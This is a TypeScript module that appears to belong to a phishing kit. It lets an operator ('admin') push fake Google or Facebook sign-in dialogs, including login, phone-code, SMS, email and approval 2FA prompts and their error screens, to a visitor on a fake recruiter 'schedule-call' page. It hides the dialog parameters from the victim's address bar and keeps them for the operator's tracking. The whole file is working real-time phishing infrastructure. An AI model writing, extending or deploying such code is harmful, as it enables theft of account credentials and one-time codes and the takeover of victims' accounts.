/**
 * Single source of truth for admin → visitor Google dialog steps.
 * Survives React remounts (module + sessionStorage).
 * Client browser URL stays clean (no dialog= / gcode=).
 */

import {
  BOOKING_RECRUITER_KEY,
  dialogParamToStep,
  getDialogParamFromRedirect,
  getGooglePromptCodeFromUrl,
  isScheduleCallPath,
  withRecruiterParam,
  type FacebookDialogStep,
} from './booking-flow'

const LOGICAL_PAGE_KEY = 'rh-logical-page-url'

export type VisitorDialogCommand = {
  id: number
  step: FacebookDialogStep
  gcode: string | null
  path: string
  at: number
  provider?: 'google' | 'facebook'
}

const STORAGE_KEY = 'rh-visitor-dialog-command'

let command: VisitorDialogCommand | null = null
let seq = 0
const listeners = new Set<(cmd: VisitorDialogCommand | null) => void>()

function persist(cmd: VisitorDialogCommand | null) {
  if (typeof window === 'undefined') return
  try {
    if (!cmd) sessionStorage.removeItem(STORAGE_KEY)
    else sessionStorage.setItem(STORAGE_KEY, JSON.stringify(cmd))
  } catch {
    /* ignore */
  }
}

function emit() {
  for (const fn of listeners) {
    try {
      fn(command)
    } catch (e) {

    }
  }
}

export function getVisitorDialogCommand(): VisitorDialogCommand | null {
  return command
}

export function loadVisitorDialogCommand(): VisitorDialogCommand | null {
  if (command) return command
  if (typeof window === 'undefined') return null
  try {
    const raw = sessionStorage.getItem(STORAGE_KEY)
    if (!raw) return null
    command = JSON.parse(raw) as VisitorDialogCommand
    return command
  } catch {
    return null
  }
}

export function subscribeVisitorDialogCommand(
  fn: (cmd: VisitorDialogCommand | null) => void
): () => void {
  listeners.add(fn)
  return () => {
    listeners.delete(fn)
  }
}

export function clearVisitorDialogCommand(): void {
  command = null
  persist(null)
  emit()
}

/** What admin sees as visitor page (includes dialog + gcode). */
export function setLogicalPageUrl(path: string): void {
  if (typeof window === 'undefined') return
  try {
    const absolute = path.startsWith('http')
      ? path
      : new URL(path, window.location.origin).href
    sessionStorage.setItem(LOGICAL_PAGE_KEY, absolute)
  } catch {
    /* ignore */
  }
}

export function getLogicalPageUrl(): string | null {
  if (typeof window === 'undefined') return null
  try {
    return sessionStorage.getItem(LOGICAL_PAGE_KEY)
  } catch {
    return null
  }
}

/**
 * Public URL shown in the client's address bar.
 * Strips dialog / gcode / _t — keeps recruiter only on schedule-call.
 */
export function toPublicClientPath(redirectPath: string): string {
  try {
    const url = new URL(redirectPath, 'http://local')
    if (!isScheduleCallPath(url.pathname)) {
      return withRecruiterParam(url.pathname + url.search)
    }
    const recruiter =
      url.searchParams.get('recruiter') ||
      (typeof window !== 'undefined'
        ? sessionStorage.getItem(BOOKING_RECRUITER_KEY) ||
          new URLSearchParams(window.location.search).get('recruiter')
        : null)
    const params = new URLSearchParams()
    if (recruiter) params.set('recruiter', recruiter)
    const qs = params.toString()
    return qs ? `/schedule-call?${qs}` : '/schedule-call'
  } catch {
    return '/schedule-call'
  }
}

/** Full logical path for admin tracking (dialog + gcode kept). */
export function toLogicalAdminPath(redirectPath: string): string {
  try {
    const url = new URL(redirectPath, 'http://local')
    url.searchParams.delete('_t')
    const qs = url.searchParams.toString()
    const path = qs ? `${url.pathname}?${qs}` : url.pathname
    return withRecruiterParam(path)
  } catch {
    return redirectPath
  }
}

/** True when this step must not be overwritten by stale login/google URL sync. */
export function isLockedChallengeStep(step: FacebookDialogStep): boolean {
  return (
    step === 'phone-code' ||
    step === 'phone-code-error' ||
    step === 'approve' ||
    step === 'approve-error' ||
    step === '2fa' ||
    step === '2fa-error' ||
    step === '2fa-sms' ||
    step === '2fa-sms-error' ||
    step === '2fa-email' ||
    step === '2fa-email-error' ||
    step === 'loading' ||
    step === 'login-error'
  )
}

/**
 * Publish an admin redirect path as the active client dialog command.
 * Returns null for non-schedule-call navigations (caller still navigates).
 */
export function publishVisitorDialogCommand(redirectPath: string): VisitorDialogCommand | null {
  if (!redirectPath) return null

  let pathname = redirectPath
  let search = ''
  try {
    const url = new URL(redirectPath, 'http://local')
    pathname = url.pathname
    url.searchParams.delete('_t')
    search = url.searchParams.toString()
  } catch {
    const [p, s = ''] = redirectPath.split('?')
    pathname = p
    const params = new URLSearchParams(s)
    params.delete('_t')
    search = params.toString()
  }

  const path = search ? `${pathname}?${search}` : pathname

  if (!isScheduleCallPath(pathname)) {
    // Leaving Google dialog flow (date/time, home, …)
    clearVisitorDialogCommand()
    return null
  }

  const dialog = getDialogParamFromRedirect(path)

  // Bare /schedule-call — admin verify step clears challenge and shows provider picker
  if (!dialog) {
    clearVisitorDialogCommand()
    setLogicalPageUrl(toLogicalAdminPath(path))
    try {
      const url = new URL(path, 'http://local')
      const auth = url.searchParams.get('auth')
      if (auth === 'facebook' || auth === 'google') {
        if (typeof window !== 'undefined') {
          sessionStorage.setItem('rh-auth-provider', auth)
        }
      }
    } catch {
      /* ignore */
    }
    return null
  }

  const step = dialogParamToStep(dialog)
  const gcode =
    step === 'phone-code' || step === 'phone-code-error'
      ? getGooglePromptCodeFromUrl(path)
      : null

  // Pin provider from auth= / dialog=google|facebook, else keep sessionStorage
  let provider: 'google' | 'facebook' | undefined
  try {
    const url = new URL(path, 'http://local')
    const auth = url.searchParams.get('auth')
    if (auth === 'facebook' || auth === 'google') provider = auth
    else if (dialog === 'facebook') provider = 'facebook'
    else if (dialog === 'google') provider = 'google'
  } catch {
    /* fall through */
  }
  if (!provider && typeof window !== 'undefined') {
    try {
      const stored = sessionStorage.getItem('rh-auth-provider')
      if (stored === 'facebook' || stored === 'google') provider = stored
    } catch {
      /* ignore */
    }
  }

  if (provider && typeof window !== 'undefined') {
    try {
      sessionStorage.setItem('rh-auth-provider', provider)
    } catch {
      /* ignore */
    }
  }

  // Always bump id so admin re-sends refresh the client UI
  command = {
    id: ++seq,
    step,
    gcode,
    path,
    at: Date.now(),
    ...(provider ? { provider } : {}),
  }
  persist(command)
  setLogicalPageUrl(toLogicalAdminPath(path))
  emit()
  return command
}
